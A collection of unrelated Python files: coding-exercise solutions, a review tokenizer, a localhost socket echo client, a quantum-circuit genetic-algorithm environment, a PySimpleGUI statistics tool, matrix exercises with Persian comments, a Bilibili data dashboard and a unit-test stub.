class Solution(object):
    def isPrefixString(self, s, words):
        """
        :type s: str
        :type words: List[str]
        :rtype: bool
        """
        for i in range(1,len(words)+1):
            if s == "".join(words[:i]):
                return True
        return False


#!/usr/bin/python
# -*- coding: utf-8 -*-
#parser.py
#tokenizes the data
#16-10-2017
#Jun Jun Zhang (s2988240)
#prepares for the alpino parser
#puts a sentence on each line per review
#removes all punctuation except ! ? , .
#command:
#	python3 sentokenizer.py

import os
import re

def main():

	directory = "csicorpus/reviews_propname/"
	target_directory = "tokenized_reviews/"
	check = os.listdir(target_directory)
	for filename in os.listdir(directory):
		#print(filename)
		if filename == '.DS_Store':
			continue
		else:
			file_r = open(directory + filename, "r")
			file_w = open(target_directory + filename, "w")
			for line in file_r:
				line = re.sub('[!?\.]+', '\g<0>|', line.strip())
				line = re.sub('[@#$%^&*()-+=<>\/;:„“”‘’"\']+', '', line)
				line = re.sub('[!?\.]+', ' \g<0>', line)
				line = line.strip().split('|')[:-1]
				for sen in line:
					sen = sen.strip()
					file_w.write(sen.lower() + '\n')
			file_r.close()
			file_w.close()

main()


import socket
from ctypes import *

# ------------- Global Variable ------------ #
PORT = 8888
SERVERNAME = 'localhost'
# ------------------------------------------ #

def main():
    server = (SERVERNAME, PORT)
    sockfd = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

    try:
        sockfd.connect(server)
        print('\n Connected to {:s} \n'.format(repr(server)))

        buffer = "Hello, I'm client."
        sockfd.send(buffer.encode())
        print("Send '{}' to server".format(buffer))

        buffer = sockfd.recv(1024).decode('utf-8')
        print('\n Echo from server: {} \n'.format(buffer))

    except AttributeError as ae:
        print('\n ERROR: Socket creation failed: {} \n'.format(ae))

    except socket.error as se:
        print('\n ERROR: Exception on socket: {} \n'.format(se))

    finally:
        sockfd.close()

if __name__ == "__main__":
    main()


import types
import typing
import random
import datetime
import pickle
import os
import numpy as np
import matplotlib.pyplot as plt
import qtm.random_circuit
import qtm.utilities
from .selection import sastify_circuit
from .ecircuit import ECircuit
from .predictor import Predictor
from ..constant import NORMAL_MODE, PREDICT_MODE
import concurrent.futures

def extract_circuit(circuits: typing.List[ECircuit]):
    extracted_circuits = []
    for circuit in circuits:
        extracted_circuits.append(circuit.qc)
    return extracted_circuits

def bypass_compile(circuit: ECircuit):
    circuit.compile()
    return circuit
def multiple_compile(circuits: typing.List[ECircuit]):
    with concurrent.futures.ProcessPoolExecutor() as executor:
        results = executor.map(bypass_compile, circuits)
        return results
class EEnvironment():
    """Saved information for evolution process
    """
    def __init__(self, file_name: str):
        """_summary_

        Args:
            file_name (str): _description_
        """
        file = open(file_name, 'rb')
        data = pickle.load(file)
        self.__init__(
            data.params,
            data.fitness_func,
            data.crossover_func,
            data.mutate_func,
            data.selection_func,
            data.pool, data.file_name)
        file.close()
        return
    def __init__(self, params: typing.Union[typing.Dict, str],
                 fitness_func: types.FunctionType = None,
                 crossover_func: types.FunctionType = None,
                 mutate_func: types.FunctionType = None,
                 selection_func: types.FunctionType = None,
                 pool = None, file_name: str = '') -> None:
        """_summary_

        Args:
            params (typing.Union[typing.List, str]): Other params for GA proces
            fitness_func (types.FunctionType, optional): Defaults to None.
            crossover_func (types.FunctionType, optional): Defaults to None.
            mutate_func (types.FunctionType, optional): Defaults to None.
            selection_func (types.FunctionType, optional): Defaults to None.
            pool (_type_, optional): Pool gate. Defaults to None.
            file_name (str, optional): Path of saved file.
        """
        if isinstance(params, str):
            file = open(params, 'rb')
            data = pickle.load(file)
            params = data.params
            self.params = data.params
            self.fitness_func = data.fitness_func
            self.crossover_func = data.crossover_func
            self.mutate_func = data.mutate_func
            self.selection_func = data.selection_func
            self.pool = data.pool
            self.file_name = data.file_name
            self.best_candidate = data.best_candidate
            self.current_generation = data.current_generation
            self.population = data.population
            self.populations = data.populations
            self.best_score_progress = data.best_score_progress
            self.scores_in_loop = data.scores_in_loop
        else:
            self.params = params
            self.fitness_func = fitness_func
            self.crossover_func = crossover_func
            self.mutate_func = mutate_func
            self.selection_func = selection_func
            self.pool = pool
            self.file_name = file_name
            self.best_candidate = None
            self.current_generation = 0
            self.population: typing.List[ECircuit] = []
            self.populations = []
            self.best_score_progress = []
            self.scores_in_loop = []
        self.depth = params['depth']
        self.num_circuit = params['num_circuit']  # Must mod 8 = 0
        self.num_generation = params['num_generation']
        self.num_qubits = params['num_qubits']
        self.prob_mutate = params['prob_mutate']
        self.threshold = params['threshold']
        self.predictor = None
        return
    def calculate_strength_point(self):
        inverse_fitnesss = [1- circuit.fitness for circuit in self.population]
        mean_inverse_fitnesss = np.mean(inverse_fitnesss)
        std_inverse_fitnesss = np.std(inverse_fitnesss)
        strength_points = [(1 - circuit.fitness - mean_inverse_fitnesss)/std_inverse_fitnesss for circuit in self.population]
        scaled_strength_points = qtm.utilities.softmax(strength_points, self.depth)
        for i, circuit in enumerate(self.population):
            circuit.strength_point = scaled_strength_points[i]
        return

    def set_predictor(self, predictor: Predictor):
        self.predictor = predictor
        return
    def evol(self, mode: str = NORMAL_MODE, verbose: int = 1):
        circuits = []
        if verbose == 1:
            bar = qtm.utilities.ProgressBar(
                max_value=self.num_generation, disable=False)
        if self.current_generation == 0:
            print("Initialize population ...")
            self.init()
            print("Start evol progress ...")
        elif self.current_generation == self.num_generation:
            return
        else:
            print(f"Continute evol progress at generation {self.current_generation} ...")
        for generation in range(self.current_generation, self.num_generation):
            #####################
            ##### Pre-process ###
            #####################
            print(f"Evol at generation {generation}")
            self.current_generation += 1
            self.scores_in_loop = []
            new_population = []
            offsprings = []
            #####################
            ##### Selection #####
            #####################
            if mode == NORMAL_MODE:
                self.population = multiple_compile(self.population)

            if mode == PREDICT_MODE:
                if self.predictor is None:
                    assert "Predictor is none, please set it by using set_predictor() method"
                return
            self.population = self.selection_func(self.population)
            circuits.append(extract_circuit(self.population))
            #####################
            ##### Cross-over ####
            #####################
            for i in range(0, int(self.num_circuit/2), 2):
                offspring1, offspring2 = self.crossover_func(
                    self.population[i], self.population[i+1])
                offsprings.extend([offspring1, offspring2])
                new_population.extend([self.population[i], self.population[i + 1], ])
            for offspring in offsprings:
                print('k', offspring.fitness)
                new_population.append(offspring)
                self.scores_in_loop.append(offspring.fitness)
            self.population = new_population
            self.populations.append(self.population)

            ####################
            ##### Mutation #####
            ####################

            for i in range(0, len(self.population)):
                if random.random() < self.prob_mutate:
                    self.population[i] = self.mutate_func(self.population[i], self.pool)

            #####################
            ##### Post-process ###
            #####################
            best_score = np.min(self.scores_in_loop)
            best_index = np.argmin(self.scores_in_loop)
            if self.best_candidate.fitness > self.population[best_index].fitness:
                self.best_candidate = self.population[best_index]
            self.best_score_progress.append(best_score)
            self.save(self.file_name + f'ga_{self.num_qubits}qubits_{self.fitness_func.__name__}_{datetime.datetime.now().strftime("%Y-%m-%d")}.envobj')
            if verbose == 1:
                bar.update(1)
            if verbose == 2 and generation % 5 == 0:
                print("Step " + str(generation) + ": " + str(best_score))
            if self.threshold(best_score):
                break
        print(f'End evol progress, best score ever: {best_score}')
        return

    def init(self, mode: str):
        """Create and evaluate first generation in the environment
        """
        self.population = []
        num_sastify_circuit = 0
        while(num_sastify_circuit <= self.num_circuit):
            random_circuit = qtm.random_circuit.generate_with_pool(
                self.num_qubits, self.depth, self.pool)
            if sastify_circuit(random_circuit):
                num_sastify_circuit += 1
                circuit = ECircuit(
                    random_circuit,
                    self.fitness_func)
                self.population.append(circuit)
        self.best_candidate = self.population[0]
        return

    def set_num_generation(self, _num_generation) -> None:
        """Set new value for number of generation

        Args:
            _num_generation (_type_): _description_
        """
        self.num_generation = _num_generation
        return
    def draw(self, file_name: str = ''):
        """Save all circuit from all generation at a specific path

        Args:
            file_name (str, optional): Path. Defaults to ''.
        """
        generation = 0
        for population in self.populations:
            generation += 1
            index = 0
            for circuit in population:
                path = f'{file_name}/{generation}'
                index += 1
                isExist = os.path.exists(path)
                if not isExist:
                    os.makedirs(path)
                circuit.qc.draw('mpl').savefig(f'{path}/{index}.png')
        return
    def plot(self, metrics: str):
        """Plot number of generation versus best score of each generation
        Example: ['best_fitness','average_fitness']
        """
        for metric in metrics:
            if metric == 'best_fitness':
                plt.plot(list(range(1, self.current_generation + 1)), self.best_score_progress, label = metric)
            if metric == 'average_fitness':
                average_fitness = []
                for generation in self.populations:
                    fitnesss = []
                    for circuit in generation:
                        fitnesss.append(circuit.fitness)
                    average_fitness.append(np.mean(fitnesss))
                plt.plot(list(range(1, self.current_generation + 1)), average_fitness, label = metric)
        plt.legend()
        plt.xlabel('No. generation')
        plt.show()
        return
    def save(self, file_name: str = ''):
        """Save as envobj file at a specific path

        Args:
            file_name (str): Path
        """
        file = open(file_name, 'wb')
        pickle.dump(self, file)
        file.close()
        return


class BookStore:
  def __init__(self, author, title, price, publisher, stockposition):
    self.author = author
    self.title = title
    self.price = price
    self.publisher = publisher
    self.stockposition = stockposition

p1 = BookStore("John", "Book1", 400, "Publisher1", 5)
p2 = BookStore("Jack", "Book2", 250, "Publisher1", 1)
p3 = BookStore("Jill", "Book3", 350, "Publisher1", 2)
p4 = BookStore("James", "Book4", 450, "Publisher1", 0)
p5 = BookStore("Jim", "Book5", 300, "Publisher1", 3)

print("Enter book author: ")
bookauthor = input()
print("Enter book title: ")
booktitle = input()

l1 = [p1, p2, p3, p4, p5]

for i in l1:
    if i.author==bookauthor and i.title==booktitle:
        print("Enter quantity of books: ")
        quantity = int(input())
        if i.stockposition<quantity:
            print("Required copies not in stock.")
        else:
            bookprice = i.price*quantity
            print("Price of Books = ", bookprice)
        exit()

print("Book not in inventory.")


import PySimpleGUI as sg
import numpy as np
import pandas as pd
from enum import Enum, auto
from scipy import stats
import statistics
import matplotlib.pyplot as plt
from matplotlib.backends.backend_tkagg import FigureCanvasTkAgg
from scipy.special import loggamma
import math

class ExecuteCommand(Enum):
	NULL = 0
	SAVE = auto()
	CONFIG = auto()

class Status(Enum):
	NULL = 0
	SUCCESS = auto()
	ERROR = auto()
	BACK = auto()
	NEXT = auto()
	QUIT = auto()
	FAILURE = auto()
	COMMAND = auto()

class ReturnInfo:
	status = -1
	data = ''

	def makeInfo(self, status, data):
		self.status = status
		self.data = data

	def getData(self):
		return self.data

	def getStatus(self):
		return self.status

	def splitInfo(self):
		return (self.status, self.data)

def QuitCmd():
	res = ReturnInfo()
	res.makeInfo(Status.QUIT, '')
	return res

def NextCmd():
	res = ReturnInfo()
	res.makeInfo(Status.NEXT, '')
	return res

def BackCmd():
	res = ReturnInfo()
	res.makeInfo(Status.BACK, '')
	return res

def CmdCmd(data):
	res = ReturnInfo()
	res.makeInfo(Status.COMMAND, data)
	return res

def SuccessCmd(data):
	res = ReturnInfo()
	res.makeInfo(Status.SUCCESS, data)
	return res

def FailCmd():
	res = ReturnInfo()
	res.makeInfo(Status.FAILURE, '')
	return res

def SelectData(df, select):
	dataName = list(df.columns.values)
	if select == None:
		default = 'Select'
	else:
		default = select

	layout = [
		[sg.Text("Select data which you want to use"), sg.Combo(dataName, default_value=default, readonly=True, key='Combo')],
		[sg.Button("Back"), sg.Button('Exit'), sg.Button('Select')]
	]
	window = sg.Window('Theme Browser', layout)
	while True:
		event, values = window.read()
		if event in (sg.WIN_CLOSED, 'Exit'):
			res = QuitCmd()
			break
		elif event == 'Back':
			res = BackCmd()
			break
		elif event == 'Select':
			if values['Combo'] in dataName:
				if 'Text' != '':
					res = SuccessCmd(values['Combo'])
					break

	window.close()
	return res

def calcSqDeviation(x, average):
	return (x - average) ** 2

def CalcData(df, sel, binval, saveMet):
	dev = np.frompyfunc(calcSqDeviation, 2, 1)
	data = df[sel].dropna(how='all').values

	dic = {}
	c = data.size
	dic['Count'] = c
	s = np.sum(data)
	dic['Sum'] = s
	average = np.mean(data)
	dic['Average'] = average
	maxval = np.max(data)
	dic['Max'] = maxval
	minval = np.min(data)
	dic['Min'] = minval
	var = np.var(data)
	dic['Sample variance'] = var
	uvar = np.var(data, ddof=1)
	dic['Unbiased variance'] = uvar
	sumsq = sum(dev(data, average))
	dic['Sum of squares'] = sumsq
	ustd = np.std(data)
	dic['Uncorrected sample standard deviation'] = ustd
	cstd = np.std(data, ddof=1)
	dic['Corrected sample standard deviation'] = cstd
	std = np.sqrt(2 / (c - 1)) * np.exp(loggamma(c / 2) - loggamma((c - 1) / 2)) * ustd
	dic['Unbiased sample standard deviation'] = std
	midrange = (maxval + minval) / 2
	dic['Mid-range'] = midrange
	rangeval = maxval - minval
	dic['Range'] = rangeval
	median = np.median(data)
	dic['Median'] = median
	q3, q1 = np.percentile(data, [75, 25])
	iqr = q3 - q1
	dic['Third quartile'] = q3
	dic['First quartile'] = q1
	skew = stats.skew(data)
	dic['Skewness'] = skew
	kurtosis = stats.kurtosis(data)
	dic['Kurtosis'] = kurtosis
	modeval = statistics.multimode(data)
	dic['Mode'] = modeval

	FrameA = sg.Frame( 'Central tendency',
		[
			[sg.Text('Average'), sg.InputText(f'{average}', readonly=True)],
			[sg.Text('Median'), sg.InputText(f'{median}', readonly=True)],
			[sg.Text('Mid-range'), sg.InputText(f'{midrange}', readonly=True)],
			[sg.Text('Mode'), sg.InputText(f'{modeval}', readonly=True)],
		]
	)
	FrameB = sg.Frame( 'Dispersion',
		[
			[sg.Text('Max'), sg.InputText(f'{maxval}', readonly=True)],
			[sg.Text('Third quartile'), sg.InputText(f'{q3}', readonly=True)],
			[sg.Text('Second quartile'), sg.InputText(f'{median}', readonly=True)],
			[sg.Text('First quartile'), sg.InputText(f'{q1}', readonly=True)],
			[sg.Text('Min'), sg.InputText(f'{minval}', readonly=True)],
			[sg.Text('Range'), sg.InputText(f'{rangeval}', readonly=True)],
			[sg.Text('Interquartile range'), sg.InputText(f'{iqr}', readonly=True)],
			[sg.Text('Sum of squares'), sg.InputText(f'{sumsq}', readonly=True)],
			[sg.Text('Sample variance'), sg.InputText(f'{var}', readonly=True)],
			[sg.Text('Unbiased variance'), sg.InputText(f'{uvar}', readonly=True)],
			[sg.Text('Corrected sample standard deviation'), sg.InputText(f'{cstd}', readonly=True)],
			[sg.Text('Uncorrected sample standard deviation'), sg.InputText(f'{ustd}', readonly=True)],
			[sg.Text('Unbiased sample standard deviation'), sg.InputText(f'{std}', readonly=True)],
		]
	)
	FrameC = sg.Frame( 'Others',
		[
			[sg.Text('Skewness'), sg.InputText(f'{skew}', readonly=True)],
			[sg.Text('Kurtosis'), sg.InputText(f'{kurtosis}', readonly=True)],
			[sg.Text('Sum'), sg.InputText(f'{s}', readonly=True)],
			[sg.Text('Count'), sg.InputText(f'{c}', readonly=True)],
		]
	)

	columns1 = sg.Column(
		[
			[FrameA],
			[FrameB],
			[FrameC],
		]
	)

	#https://corvus-window.com/python_standard-normal/
	#https://toukeier.hatenablog.com/entry/2019/09/08/224346

	fig1 = plt.Figure()
	ax1 = fig1.add_subplot(111)
	ax1.hist(data, bins=binval)
	ax1.set_title(f"Histogram of {sel}")

	fig2 = plt.Figure()
	ax2 = fig2.add_subplot(111)
	stats.probplot(data, dist="norm", plot=ax2)
	ax2.set_title(f"Probability plot of {sel} (Normal distribution)")
	ax2.grid(True)

	result1 = stats.shapiro(data)
	result2 = stats.ks_1samp(data, stats.norm.cdf)

	FrameSW = sg.Frame( 'Shapiro–Wilk test',
		[
			[sg.Text('statistic'), sg.InputText(f'{result1[0]}', readonly=True)],
			[sg.Text('p-value'), sg.InputText(f'{result1[1]}', readonly=True)],
		]
	)
	FrameKS = sg.Frame( 'Kolmogorov–Smirnov test',
		[
			[sg.Text('statistic'), sg.InputText(f'{result2[0]}', readonly=True)],
			[sg.Text('p-value'), sg.InputText(f'{result2[1]}', readonly=True)],
		]
	)

	columns2 = sg.Column(
		[
			[FrameSW],
			[FrameKS],
		]
	)

	t1 = sg.Tab('Histogram' ,[[columns1, sg.Canvas(key='CANVAS_H')]])
	t2 = sg.Tab('Probability plot' ,[[columns2, sg.Canvas(key='CANVAS_P')]])

	layout = [
		[sg.TabGroup ([[t1 ,t2]])],
		[sg.Button("Config"), sg.Button('Save'), sg.Button("Back"), sg.Button('Next'), sg.Button('Exit')]
	]

	win_location = (0, 0)
	window = sg.Window('Theme Browser', layout, finalize=True, location=win_location)

	draw_figure(window['CANVAS_H'].TKCanvas, fig1)
	draw_figure(window['CANVAS_P'].TKCanvas, fig2)

	while True:
		event, values = window.read()
		if event in (sg.WIN_CLOSED, 'Exit'):
			res = QuitCmd()
			break
		elif event == 'Back':
			res = BackCmd()
			break
		elif event == 'Next':
			res = NextCmd()
			break
		elif event == 'Config':
			res = CmdCmd((ExecuteCommand.CONFIG, (pd.DataFrame(columns=[sel]), dic)))
			break
		elif event == 'Save':
			if saveMet:
				res = CmdCmd((ExecuteCommand.SAVE, (pd.DataFrame(columns=[sel]), dic)))
			else:
				res = CmdCmd((ExecuteCommand.SAVE, (pd.DataFrame(df[sel]), dic)))
			break

	window.close()
	return res

def selectEncode(filename):
	enc = ["utf-8", "shift-jis", "cp932", "utf-8-sig", "iso2022_jp", "euc_jp"]
	i = 0
	for s in enc:
		try:
			df = pd.read_csv(filename, encoding=enc[i])
			res = enc[i]
			break
		except UnicodeDecodeError as e:
			i += 1
	else:
		res = "unknown"
	return res

def OpenFile(filename):
	encodeName = selectEncode(filename)
	if encodeName == "unknown":
		raise ValueError(f'Cannot open {filename}')
	df = pd.read_csv(filename, encoding=encodeName)
	return SuccessCmd(df)

def LoadData(filename):
	sg.theme('Dark Brown')

	layout = [
		[sg.Text("File"), sg.InputText(default_text=filename, key='Text'), sg.FileBrowse(key="file")],
		[sg.Button("Back"), sg.Button('Exit'), sg.Submit()]
	]
	window = sg.Window('Title', layout)

	while True:
		event, values = window.read()

		if event in (sg.WIN_CLOSED, 'Back'):
			res = BackCmd()
			break
		elif event == 'Exit':
			res = QuitCmd()
			break
		elif event == 'Submit':
			if values["file"] != "":
				res = SuccessCmd(values["file"])
				break
			elif values["Text"] != "":
				res = SuccessCmd(values["Text"])
				break

	window.close()
	return res

def Basic():
	filename = ''
	selectname = 'Select'
	select = None
	binval = 10
	binMet = False
	saveMet = True
	while True:
		(code1, filename) = LoadData(filename).splitInfo()
		if code1 != Status.SUCCESS:
			return code1
		(code2, df) = OpenFile(filename).splitInfo()
		while True:
			(code3, select) = SelectData(df, select).splitInfo()
			if code3 == Status.QUIT:
				return code3
			elif code3 == Status.BACK:
				break
			while True:
				(code4, cmd) = CalcData(df, select, binval, saveMet).splitInfo()
				if code4 == Status.BACK:
					break
				elif code4 != Status.COMMAND:
					return code4
				(cmd, data) = cmd
				if cmd == ExecuteCommand.SAVE:
					(code, _) = makeSaveData(data).splitInfo()
				elif cmd == ExecuteCommand.CONFIG:
					configValues = (binval, binMet, saveMet, data, selectname)
					(code5, cmd) = configulation(configValues).splitInfo()
					if code5 == Status.QUIT:
						return code5
					elif code5 == Status.SUCCESS:
						(binval, binMet, saveMet, selectname) = cmd
	return Status.NULL

def configulation(configValues):
	(binval, binMet, saveMet, data, selectname) = configValues
	(df, dic) = data

	method = ['Square-root choice', "Sturges' formula", "Scott's choice", "Freedman-Diaconis' choice"]

	widget1 = [
		[sg.Text('Range of Bins'), sg.InputText(key='BinRange', default_text=str(binval))]
	]
	widget2 = [[sg.Combo(method, key='Method', default_value=selectname, readonly=True)]]

	column1 = sg.Column( widget1, key='col1', visible=not binMet )
	column2 = sg.Column( widget2, key='col2', visible=binMet )

	tab1 = sg.Tab('Range of Bins' ,
		[
			[sg.Radio('manual', group_id='0', key='manual', enable_events=True, default=not binMet), sg.Radio('auto', group_id='0',key='auto',  enable_events=True, default=binMet)],
			[column1, column2]
		]
	)
	tab2 = sg.Tab('Save data' ,
		[
			[sg.Radio('Save original data', group_id='1', default=not saveMet, key='SAVE'), sg.Radio('Don\'t save original data', group_id='1', default=saveMet, key='DSAVE')],
		]
	)
	layout = [
		[ sg.TabGroup( [[ tab1, tab2 ]] ) ],
		[sg.Button("Back"), sg.Button('Exit'), sg.Button('Run')]
	]
	window = sg.Window('Theme Browser', layout)
	while True:
		event, values = window.read()
		if event in (sg.WIN_CLOSED, 'Exit'):
			res = QuitCmd()
			break
		elif event == 'Back':
			res = BackCmd()
			break
		elif event == 'Run':
			binMet = values['auto']
			if values['manual']:
				binval = int(values['BinRange'])
			else:
				selectname = values['Method']
				binval = calcBinRange((df, dic), selectname)
			saveMet = values['DSAVE']
			if (selectname in method and values['auto']) or values['manual']:
				res = SuccessCmd((binval, binMet, saveMet, selectname))
				break
		elif event == 'auto':
			window["col1"].update(visible=values['manual'])
			window["col2"].update(visible=values['auto'])
		elif event == 'manual':
			window["col1"].update(visible=values['manual'])
			window["col2"].update(visible=values['auto'])

	window.close()
	return res

def calcBinRange(data, method):
	print
	(df, dic) = data
	if method == 'Square-root choice':
		return round(math.sqrt(dic['Count']))
	elif method == "Sturges' formula":
		return math.ceil(math.log2(dic['Count']) + 1)
	elif method == "Scott's choice":
		h = 3.5 * dic['Uncorrected sample standard deviation'] / pow(dic['Count'], 1/3)
		return round(dic['Range'] / h)
	elif method == "Freedman-Diaconis' choice":
		h = (dic['Third quartile'] - dic['First quartile']) / pow(dic['Count'], 1/3) * 2
		return round(dic['Range'] / h)
	return 10

def makeSaveData(data):
	(df, dic) = data
	for k, v in dic.items():
		if k == 'mode':
			df = pd.concat([df, pd.DataFrame([','.join([str(i) for i in v])], columns=df.columns, index=[k])])
		else:
			df = pd.concat([df, pd.DataFrame([v], columns=df.columns, index=[k])])
	return save(df)

def draw_figure(canvas, figure):
	figure_canvas_agg = FigureCanvasTkAgg(figure, canvas)
	figure_canvas_agg.draw()
	figure_canvas_agg.get_tk_widget().pack(side='top', fill='both', expand=1)
	return figure_canvas_agg

def save(df):
	filename = sg.popup_get_file('save', save_as=True)
	if filename != None:
		df.to_csv(filename)
		sg.popup('Complete')
		return SuccessCmd(None)
	return FailCmd()


def solution(n, costs):
    answer = 0
    costs.sort(key=lambda x: x[2])
    visited = [0] * n
    visited[0] = 1
    while sum(visited) != n :
        for cost in costs:
            a, b, c = cost
            if visited[a] or visited[b]:
                if visited[a] and visited[b]:
                    continue
                else:
                    visited[a] = 1
                    visited[b] = 1
                    answer += c
                    break
    return answer
# n = 4
costs = [[0,1,1],[0,2,2],[1,2,5],[1,3,1],[2,3,8]]
print(costs.sort(key=lambda x:x[2]))
# print(solution(4,[[0,1,1],[0,2,2],[1,2,5],[1,3,1],[2,3,8]]))


import pandas as pd
import numpy as np
import math

class Matrix_func:
    def __init__(self,matrix_val="dr_teimori"):
        self.matrix_val=matrix_val

    def makematrix2D(self,R,C):
        #ایجاد ماتریس خالی
        matrix=[]
        # حرکت رو سطر
        for i in range(C):          # A for loop for row entries
            a =[]
            # حرکت رو ستون
            for j in range(R):      # A for loop for column entries
                #گرفتن داده ها از ورودی
                 a.append(float(input("Enter matrix C row {} column {} ".format(i,j))))
            #درج یک سطر در ماتریس اصلی
            matrix.append(a)
        #تبدیل ماتریس به numpy
        return np.array(matrix)

    def makematrix1D(self,R):
        #تعریف ماتریس خالی
        a =[]
        # حرکت رو ستون
        for i in range(R):
            # گرفتن داده از ورودی
            a.append(float(input("Enter vector c  column{} ".format(i))))
        # تبدیل وکتور به numpy
        return np.array(a)

    def Tamrine1(self,matrix_C,vector_C,Row,Column):
        #چاپ ماتریس
        print("Matrix C is : -------------")
        print(matrix_C)
        #چاپ وکتور
        print("Vector C is : -------------")
        print(vector_C)
        # ارایه خالی برای همینگ
        haming_distance =[]
        # حرکت در سطر های ماتریس
        for i in range(Row):
            haming_distanc=0
            # حرکت در ستون های یک سطر ماتریس و وکتور
            for j in range(Column):
                # یافتن تفاوت بین ماتریس و وکتور ( یافتن فاصله همینگ )
                if matrix_C[i][j] != vector_C[j]:
                    #+1 اگر برابر نبودن
                    haming_distanc+=1
            #افزودن به ارایه
            haming_distance.append(haming_distanc)
        #چاپ ارایه فاصله همینگ
        print("haming distance matrix_C with vector_c  is : -------------")
        print(haming_distance)
        return haming_distance

    def Tamrine1_Answer(self,haming_distanc):
        min_row=haming_distanc
        min_index_haming=min_row.index(min(min_row)) + 1
        print("minimum haming distanc is in row {}  in Matrix C".format(min_index_haming))

    def minlist(self,haming_distanc_list):
        return min(haming_distanc_list)

    def Tamrine2(self,N):
        # ایجاد ارایه خالی
        count_list=[]
        # از 1 شروع تا عدد مورد نظر میرود
        for i in range(1,N+1):
            # اگر باقیمانده تقسیم ان صفر باشد
            if N%i==0:
                # افزودن به ارایه
                count_list.append(i)
        # چاپ ارایه
        print("list of count N is  :  {}".format(count_list))
        return count_list

    def Tamrine3(self,N):
        prime_list=[]
        count=0
        number=1
        while(count<N):
            if len(self.Tamrine2(number))==2:
                prime_list.append(number)
                count+=1
            number+=1
        print("list of {} prime number  :  {}".format(N,prime_list))
        return prime_list

    def Tamrine4(self,N,K):
        pass


#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# @Time : 2020/8/26 14:48
# @Author : way
# @Site :
# @Describe:
import getData

class SourceDataDemo:

    def __init__(self):
        # 默认的标题
        self.title = 'B站数据分析'
        # 两个小的form看板
        self.counter = {'name': '数据来源', 'value': '爬虫 \n 搜集数据'}
        self.counter2 = {'name': '技术栈', 'value': 'Flask \n pandas \n echarts'}
        # 总共是6个图表，数据格式用json字符串，其中第3个图表是有3个小的图表组成的
        departAndNum = open("./processedData/departAndNum.txt", 'r')
        self.echart1_data = {
            'title': 'B站每周必看分区数量',
            'data': getData.getDepartAndNum()
        }
        self.echart2_data = {
            'title': '用户粉丝数统计',
            'data': getData.getFans(1000000)
        }
        self.echarts3_1_data = {
            'title': '男性性别和等级',
            'data': getData.getMaleLevel()
        }
        self.echarts3_2_data = {
            'title': '性别分布',
            # 'data': getData.getFans()
            'data': getData.getGenderList()
        }
        self.echarts3_3_data = {
            'title': '女性性别和等级',
            'data': getData.getFemaleLevel()
        }
        self.echart4_data = {
            'title': '用户年龄分布',
            'data': [
                {"name": "年龄", "value": getData.getBirthdayYearList()},
                {"name": "年龄", "value": getData.getBirthdayYearList()},
            ],
            'xAxis': list(range(53, 13, -1)),
        }
        self.echart5_data = {
            'title': 'TOP省份',
            'data': getData.getTopProvinceList(10)
        }
        # 这是一个环状图，有颜色的加上没颜色的正好等于100，半径是外圈直径和内圈直径，猜测是左闭右开
        total = sum(item['value'] for item in getData.getFans(1000000))
        e6_data = getData.getFans(1000000)
        self.echart6_data = {
            'title': '用户关注数',
            'data': [
                {"name": '1', "value":  sum(e6_data[i]['value'] for i in range(1)) / total * 100, "value2": 100 - (sum(e6_data[i]['value'] for i in range(1)) / total), "color": "02", "radius": ['49%', '60%']},
                {"name": '2', "value":  sum(e6_data[i]['value'] for i in range(2)) / total * 100, "value2": 100 - (sum(e6_data[i]['value'] for i in range(2)) / total), "color": "03", "radius": ['39%', '50%']},
                {"name": '3', "value":  sum(e6_data[i]['value'] for i in range(3)) / total * 100, "value2": 100 - (sum(e6_data[i]['value'] for i in range(3)) / total), "color": "04", "radius": ['29%', '40%']},
                {"name": '4', "value":  sum(e6_data[i]['value'] for i in range(4)) / total * 100, "value2": 100 - (sum(e6_data[i]['value'] for i in range(4)) / total), "color": "05", "radius": ['19%', '30%']},
                {"name": '5', "value":  sum(e6_data[i]['value'] for i in range(5)) / total * 100, "value2": 100 - (sum(e6_data[i]['value'] for i in range(5)) / total), "color": "06", "radius": ['9%',  '20%']},
            ]
        }
        self.map_1_data = {
            'symbolSize': 2000,
            'data': getData.getProvinceList()
        }

    @property
    def echart1(self):
        data = self.echart1_data
        echart = {
            'title': data.get('title'),
            # 第一次get获取到的是许多键值对，所以需要对每个键值对再次get
            'xAxis': [i.get("name") for i in data.get('data')],
            'series': [i.get("value") for i in data.get('data')]
        }
        # 返回的是标题和对应的数据，并没有说用什么方式展现！
        return echart

    @property
    def echart2(self):
        data = self.echart2_data
        echart = {
            'title': data.get('title'),
            'xAxis': [i.get("name") for i in data.get('data')],
            'series': [i.get("value") for i in data.get('data')]
        }
        return echart

    @property
    def echarts3_1(self):
        data = self.echarts3_1_data
        echart = {
            'title': data.get('title'),
            'xAxis': [i.get("name") for i in data.get('data')],
            'data': data.get('data'),
        }
        return echart

    @property
    def echarts3_2(self):
        data = self.echarts3_2_data
        echart = {
            'title': data.get('title'),
            'xAxis': [i.get("name") for i in data.get('data')],
            'data': data.get('data'),
        }
        return echart

    @property
    def echarts3_3(self):
        data = self.echarts3_3_data
        echart = {
            'title': data.get('title'),
            'xAxis': [i.get("name") for i in data.get('data')],
            'data': data.get('data'),
        }
        return echart

    @property
    def echart4(self):
        data = self.echart4_data
        echart = {
            'title': data.get('title'),
            'names': [i.get("name") for i in data.get('data')],
            'xAxis': data.get('xAxis'),
            'data': data.get('data'),
        }
        return echart

    @property
    def echart5(self):
        data = self.echart5_data
        echart = {
            'title': data.get('title'),
            'xAxis': [i.get("name") for i in data.get('data')],
            'series': [i.get("value") for i in data.get('data')],
            'data': data.get('data'),
        }
        return echart

    @property
    def echart6(self):
        data = self.echart6_data
        echart = {
            'title': data.get('title'),
            'xAxis': [i.get("name") for i in data.get('data')],
            'data': data.get('data'),
        }
        return echart

    @property
    def map_1(self):
        data = self.map_1_data
        echart = {
            'symbolSize': data.get('symbolSize'),
            'data': data.get('data'),
        }
        return echart

class SourceData(SourceDataDemo):

    def __init__(self):
        """
        按照 SourceDataDemo 的格式覆盖数据即可
        """
        super().__init__()
        self.title = 'B站数据分析'


#!/usr/bin/python3
import unittest
import json
import datetime

from models.review import Review
from models.base_model import BaseModel

class TestReview(unittest.TestCase):
    def test_doc_module(self):
        doc = Review.__doc__
        self.assertGreater(len(doc), 1)

    def test_doc_constructor(self):
        doc = Review.__init__.__doc__
        self.assertGreater(len(doc), 1)

    def test_class(self):
        with self.subTest(msg='Inheritance'):
            self.assertTrue(issubclass(Review, BaseModel))

